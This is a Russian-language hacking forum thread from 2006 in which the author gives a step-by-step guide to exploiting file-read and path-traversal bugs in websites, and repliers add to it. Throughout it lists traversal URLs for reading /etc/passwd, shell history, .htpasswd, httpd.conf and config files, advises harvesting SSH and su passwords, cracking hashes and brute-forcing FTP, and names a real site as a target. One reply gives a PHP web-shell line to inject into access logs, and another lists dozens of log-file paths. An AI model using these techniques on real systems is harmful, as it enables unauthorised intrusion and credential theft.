Авторские статьи Что и как можно поднять с читалки файлов.

Discussion in 'Статьи' started by 1ten0.0net1, 18 Aug 2006.

  1. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Очень часто в журналах, на форумах и от друзей можно услышать следующее:
    "Я нашел читалку, но так как с неё ничего не поднять..."
    Хочу сказать, что такое заблуждение весьма распространено. Целью своей статьи
    ставлю разубеждение в 100% адекватности таких заявлений. Кроме того, я не встречал статьи,
    показывающе как пошагово реализовать эту уязвимость в ощутимый результат.​

    Первым делом, ищем непосредственно саму багу.
    Как это делать, я писать не буду, но если возникнет такая необходимость - напишу.
    Необходимо заметить, что реализация уязвимости может быть разной:​

    http://somesite.info/?page=/etc/passwd (рекомендую вставлять именно passwd, т. к. этот файл практически всегда доступен для
    чтения владельцу файлов/папок сайта)
    http://somesite.info/?page=/etc/passwd%00
    Иногда даже так:
    http://somesite.info/?page=/etc/passwd%00.html (или .txt .php .inc .jpg и т. д.)
    но лично я такого не встречал.
    http://somesite.info/?page=../../../../../../../../../../etc/passwd
    http://somesite.info/?page=../../../../../../../../../../etc/passwd%00
    http://somesite.info/?page=../../../../../../../../../../etc/passwd%00.html


    http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd
    http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd%00
    http://somesite.info/?page=somedir/../../../../../../../../../../etc/passwd%00.html


    Иногда для нормальной реализации необходимо знание полного пути к директории.
    Кстати, никогда не верьте расширению у скрипта!
    Найдя такую багу, делаем следующее:

    I. Читаем файл /etc/passwd.

    В этом файл есть три раздела информации, представляющей для нас особый интерес:
    1) Лоигны пользователей;
    2) Путь к их домашним директориям:
    3) Наличие у них действующего интерпретатора.

    Обычно я начинаю с пункта 3.
    С помощью бажного скрипта пытаюсь прочитать:

    http://somesite.info/?page=somedir/../../../../../../../../../../home/dir/of/some/user/.bash_history
    Поверьте, если пользователей много, хоть одна хистори буде доступна для чтения.
    //Необходимо заметить - когда сегодня я взламывал antichat файл .bash_history был доступен на чтение владельцу
    //web' директорий.
    //чего быть не должно.
    В .bash_history внимательно просматриваем все комманды с целью найти следующие строки

    ssh othersite.com -l afsdds -p wronGp4ssw0rt

    Конечно, это может быть и правильный пароль. Но если
    этот пароль не подходит (или после этих строк идёт
    еще одна строка авторизации через ssh)-
    в этом случае можно попробовать угадать пароль. Конечно, проще это сделать, если пароль
    является словом, например
    antechat. Очевидно, что паролем, скорее всего, является, antichat (хотя
    может быть и ant1ch4t и т. д.). Вообщем, нужна фантазия и удача.​

    или (перед вводом комманды su):

    si или st или ssu или ssu.
    Ну а на следующей строчке после этой комманды пароль скорее всего мы увидим правильный
    и гадать нам не понадобится.

    Если ничего найдено не было, стоит попробовать пункт 2.
    Здесь уже необходимо больше и фантазии и удачи:

    http://somesite.info/?page=somedir/../../../../../../../../../../way/to/site/dir/public_html

    Подставляем в конец .htpasswd, и при удачном раскладе читаем зашифрованные DES'ом пароли.
    При не очень удачном пытаемся прочитать .htaccess, а из него выцепить интересную информацию (строка AuthUserFile), например на файлы с паролями.
    Такое возможно потому, что в файл .htaccess может быть помещено большинство из доступных директив для веб-сервера.
    Если находим такую ссылку - вставлем путь к ней вместо way/to/site/dir/public_html и запускаем прогу John The Ripper,
    позволяющую быстро расправиться с закодированными паролями.

    Кроме этого, необходимо помнить, что файлы .htaccess и .htpasswd могут лежать в любой поддиректории.
    Поэтому, например, если Вы знаете, что на сайте есть форум с админкой, пробуем:

    http://somesite.info/?page=somedir/../../../../../../../../../../way/to/site/dir/public_html/forum/admin/.htaccess
    Я советую поугадывать имена возможных папок (это можно узнать просто гуляя по сайту) и попробовать поискать файлы во всех подпапках.
    Кроме того, часто можно итнуитивно угадать имя папки, в которой может лежать такой файл.
    Например, зная путь до домашних папок:
    /home/users/name_save_with_site_name
    Попробуйте поискать файлы в папках
    /home/users/name_save_with_site_name/www
    /home/users/name_save_with_site_name/htdocs/
    //home/users/name_save_with_site_name/public_html
    и тому подобных.
    В таких папках, например, могут лежать копии сайтов.

    Далее, используя расшифрованный пароль, либо заходим в админку и ищем там возможности
    для закачки шелла, например через upload файлов.

    Или пробуем использовать пароль к ssh (если в файле /etc/passwd у данного пользователя есть доступ к bash), или к ftp.

    Ну и последний пункт, косвенно связанный с предыдущим пункт 1.

    Путь 1 (быстрый). Собираем при помощи специального скрипта пары login:login из /etc/passwd и при помощи другого скрипта (или программы)
    пытаемся брутить ftp, попутно выясняя login'ы тех пользователей, на кого ни в коем случае не стоит ровняться.
    Путь 2 (чаще всего долгий). При помощи любой соответствующей нашей цели программы пытаемя сбрутить пароль по словарю.

    В обоих случаях идеально подходит программа Hydra, доступная на официальном сайте THC.org (http://thc.org )

    II. Читаем файл httpd.conf

    С этим файлом всё немного запутаннее, т. к. (в отличии от passwd), он может лежать
    в различных директориях на разных серверах.

    Но первым делом, все равно пробуем стандарт de facto:

    http://somesite.info/?page=somedir/../../../../../../../../../../usr/local/apache/conf/httpd.conf

    В 70% случаев он находится именно там.

    Если нет, стоит проверить папки следующим образом:

    http://somesite.info/?page=somedir/../../../../../../../../../../etc/../usr/conf/../../etc/shells
    (в целях экономии трафика =), хотя вполне можно и passwd)


    Если на страницу будет выведены существующие интерпретаторы (записи типа, /usr/bin/sh, /usr/bin/csh и т. п.)- опять ликуем, т. к.
    теперь мы точно уверены в существовании директории conf. Тогда можно поискать файл httpd.conf в ней.
    Таким образо можно проверить наличие любой папки, добавляя в строку ее название и дополнительные символы
    перехода вниз по каталогу (../)
    Наиболее часто мне встречаличь следующие пути (в порядке убывания):
    /usr/apache/conf/httpd.conf
    /usr/local/httpd/conf/httpd.conf
    /usr/local/http/conf/httpd.conf
    /usr/http/conf/httpd.conf
    /usr/httpd/conf/httpd.conf

    В найденном файле ищем cтроки (само собой, через поиск, т. к. файл большой)
    .htpasswd или AuthUserFile
    Эти файлы укажут нам на файлы паролей.
    Кроме того, отдельный интерес в этом файле представляет раздел Virual Hosts,
    из которого мы можем узнать мыло администратора (директива ServerAdmin),
    полный путь к web-директории и еще немного информации (директива DocumentRoot),
    а также место хранения логов, при просмотре которых можно
    также найти какой-нибудь пароль в GET-запросе (что очень мало веротяно)_.


    Пример:

    <# <VirtualHost *:80>
    # ServerName www.*.*.navy.mil
    # ServerAlias *.*.navy.mil *.navy.mil www.*.navy.mil
    # DocumentRoot "/home/www/*/htdocs/"====> полный путь к Web'у
    # ServerAdmin regional.webmaster@*.navy.mil ====> мыло админа
    # ErrorLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*n-error_log 86400"
    # CustomLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*-access_log 86400" combined ===> логи доступа
    #
    # <Directory "/home/www/*/htdocs">

    # Options MultiViews
    # AllowOverride None
    # Order allow,deny
    # Allow from all
    # <LIMIT PUT DELETE>
    # Order deny,allow
    # Deny from all
    # </LIMIT>
    # </Directory>
    #
    # </VirtualHost>

    Три важных замечания:
    Замечание 1.
    Часто бывает так, что при помощи этой баги можно просматривать директории, например:
    http://www.goldenroseflorist.com/index.php4?page=../../../../../../../../../../etc

    Замечание 2.
    Также, если Вы точно уверены в существовании директорий
    /chat /adm /admin /forum
    пробуйте прочитать файлы conf.php, config.php, auth.inc.php, conf.inc.php.
    Вообщем, различные конфиги и т.п.
    http://somesite.info/?page=somedir/../../../../../../../../../../home/user/www/forum/config.inc.php

    Замечание 3.
    Пробуйте читать исходный код бажного сценария:
    http://somesite.info/view.cgi?page=somedir/../../../../../../../../../../home/user/www/view.cgi%00


    Вот собственно, и все, что я могу сказать по этой теме.

    Отдельно хотелось бы упомянуть следующие случаи из моей практики:

    -Доступный на чтение файл /root/.bash_history
    -Доступный на чтение файл /etc/shadow
    -Доступный на чтение файл httpd.conf, лежащий в /etc/httpd/conf/httpd.conf
    -Доступный на чтение файл /etc/.htpasswd
    (уж не знаю, что они запаролить хотели, копия скорее всего=)).

    P. S. При возникновении любых вопросов - обращайтесь!

    Спасибо за внимание,
    с уважением 1ten0.0net1.
     
    #1 1ten0.0net1, 18 Aug 2006
    Last edited: 21 Aug 2006
    8 people like this.
  2. Brahma

    Brahma Elder - Старейшина

    Joined:
    14 Jul 2006
    Messages:
    55
    Likes Received:
    13
    Reputations:
    6
    Чувствую эта статья из разряда "сад-о-мазо", однако - лично я не встречал таких "уязвимостей", или скажем так - встречал, но редко, да и зачастую дальше ../../ не уйти из-за умных админов хостинга.
     
  3. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    1ten0.0net1, про access.log не забывай.. UserAgent ;)
     
    _________________________
  4. .Slip

    .Slip Elder - Старейшина

    Joined:
    16 Jan 2006
    Messages:
    1,571
    Likes Received:
    977
    Reputations:
    783
    Статья гуд, но оформление ужасное)
     
  5. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    Тока приехало :).
    Статья позновательная, но для новичков, дай ладно плюсик поставлю.
     
  6. =Be$=

    =Be$= Elder - Старейшина

    Joined:
    21 Jan 2006
    Messages:
    200
    Likes Received:
    123
    Reputations:
    0
    Неплохо,для новичков самое то.
     
  7. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    # CustomLog "|/usr/sbin/rotatelogs /home/logs/httpd/*/*-access_log 86400" combined ===> логи доступа

    По-моему, я не забыл. Или я что-то путаю?
     
  8. e.vlt

    e.vlt New Member

    Joined:
    18 Aug 2006
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    мой пост совсем не в тему статьи, но всё ж...
    имхо для начала не нужно лезть куда-то в "./../../" двиг построен либо на бд, либо на файлах... если бд - то просматреть файл подключения к бд там есть пас и пароль
    пример:
    попробывать подключиться удалеено

    если сайт написан на файлах, нужно найти админку и прочитать пароль...
    там по идее будет проверка на пароль и логин, что-то вроде:

    дальше по ситуации)))

    эти пароли могут подходить и к фтп)..

    статья понра)
     
    #8 e.vlt, 21 Aug 2006
    Last edited: 21 Aug 2006
  9. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    P. S. Пароля может и не быть.
     
    1 person likes this.
  10. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    Нормальная статья. 1ten0.0net1, держи +
     
  11. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Просматривая конфиг в php инклдуде не забываем что файл конфига исполяеться...
     
  12. Muha

    Muha Elder - Старейшина

    Joined:
    21 Aug 2006
    Messages:
    58
    Likes Received:
    5
    Reputations:
    -3
    Хорошая статья. Я так раздобыл пароли к бд на одном Wap-Сайте
     
  13. васёк

    васёк Banned

    Joined:
    25 Aug 2006
    Messages:
    3
    Likes Received:
    2
    Reputations:
    -11
    очень хорошая статья!!!я много нового узнал,большое спасибо!!!
     
    1 person likes this.
  14. DaemoniZ

    DaemoniZ Member

    Joined:
    8 Jan 2006
    Messages:
    45
    Likes Received:
    9
    Reputations:
    6
    izvenyaus`, chto tranlistom.

    Statya ne ploha. Daje ochen` ne ploha. a oformlenie... vajna infa ili krasota? chitat` mojno i ladno ;)
     
    1 person likes this.
  15. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    наверное он имел ввиду, что можно получить шелл с помощь access_log, тоесть коннектимся telnet'ом на 80 порт и передаем в запросе в качестве UserAgent:
    <?php system($_GET['i']); ?>
    затем с помощью этой баги инклудим access_log и получаем веб шелл
     
    1 person likes this.
  16. MyPoorBrain

    MyPoorBrain New Member

    Joined:
    9 Nov 2006
    Messages:
    4
    Likes Received:
    1
    Reputations:
    0
    Во-во...

    Скажите, как отправить запрос к серваку, чтоб он оставил строку в логе? Вот тут бычно лежат логи

    ../../../../../../../../../../../../var/log/httpd/access_log
    ../../../../../../../../../../../../var/log/httpd/error_log
    ../../../apache/logs/error.log
    ../../../apache/logs/access.log
    ../../../../apache/logs/error.log
    ../../../../apache/logs/access.log
    ../../../../../apache/logs/error.log
    ../../../../../apache/logs/access.log
    ../../../../../../apache/logs/error.log
    ../../../../../../apache/logs/access.log
    ../../../../../../../apache/logs/error.log
    ../../../../../../../apache/logs/access.log
    ../../../../../../../../apache/logs/error.log
    ../../../../../../../../apache/logs/access.log
    ../../../logs/error.log
    ../../../logs/access.log
    ../../../../logs/error.log
    ../../../../logs/access.log
    ../../../../../logs/error.log
    ../../../../../logs/access.log
    ../../../../../../logs/error.log
    ../../../../../../logs/access.log
    ../../../../../../../logs/error.log
    ../../../../../../../logs/access.log
    ../../../../../../../../logs/error.log
    ../../../../../../../../logs/access.log
    ../../../../../../../../../../../../etc/httpd/logs/acces_log
    ../../../../../../../../../../../../etc/httpd/logs/acces.log
    ../../../../../../../../../../../../etc/httpd/logs/error_log
    ../../../../../../../../../../../../etc/httpd/logs/error.log
    ../../../../../../../../../../../../var/www/logs/access_log
    ../../../../../../../../../../../../var/www/logs/access.log
    ../../../../../../../../../../../../usr/local/apache/logs/access_log
    ../../../../../../../../../../../../usr/local/apache/logs/access.log
    ../../../../../../../../../../../../var/log/apache/access_log
    ../../../../../../../../../../../../var/log/apache/access.log
    ../../../../../../../../../../../../var/log/access_log
    ../../../../../../../../../../../../var/www/logs/error_log
    ../../../../../../../../../../../../var/www/logs/error.log
    ../../../../../../../../../../../../usr/local/apache/logs/error_log
    ../../../../../../../../../../../../usr/local/apache/logs/error.log
    ../../../../../../../../../../../../var/log/apache/error_log
    ../../../../../../../../../../../../var/log/apache/error.log
    ../../../../../../../../../../../../var/log/access_log
    ../../../../../../../../../../../../var/log/error_log


    Как послать запрос? И что делать если telnet не коннектится?! Дайте совет!
     
    1 person likes this.